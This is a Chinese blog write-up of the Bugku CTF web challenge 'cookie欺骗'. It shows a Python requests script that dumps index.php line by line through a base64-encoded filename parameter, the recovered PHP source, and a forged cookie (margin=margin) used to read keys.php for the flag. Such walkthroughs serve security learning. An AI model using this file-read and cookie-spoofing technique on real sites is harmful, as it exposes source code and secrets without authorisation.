bugku-web-cookie欺骗

版权声明:a3uRa QQ:962620891 github:asuralinmo.github.io https://blog.csdn.net/qq_41173457/article/details/81659920

url上有base64,解密得到filename=key.txt
index.php用base64加密
同样方法,把加密后的字符串,放到filename的参数中,回车
查看源代码,发现

<?php

猜测 url中
line参数可能控制了,每次读取的行数
简单测试一下 line=1
返回error_reporting(0);
写个脚本,自己手动慢慢一行一行出来也行

import requests
s=requests.session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(0,30):
    payload={'line':i,'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content                
    a=a.decode('utf-8')
    print(a)

简单整理一下跑出来的代码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

很清楚了,这里构造keys.php的base64 作为filename的参数
再添加cookie,margin=margin 来读取keys.php的内容
用bp抓包
修改参数
这里写图片描述
得到flag

猜你喜欢

转载自blog.csdn.net/qq_41173457/article/details/81659920
今日推荐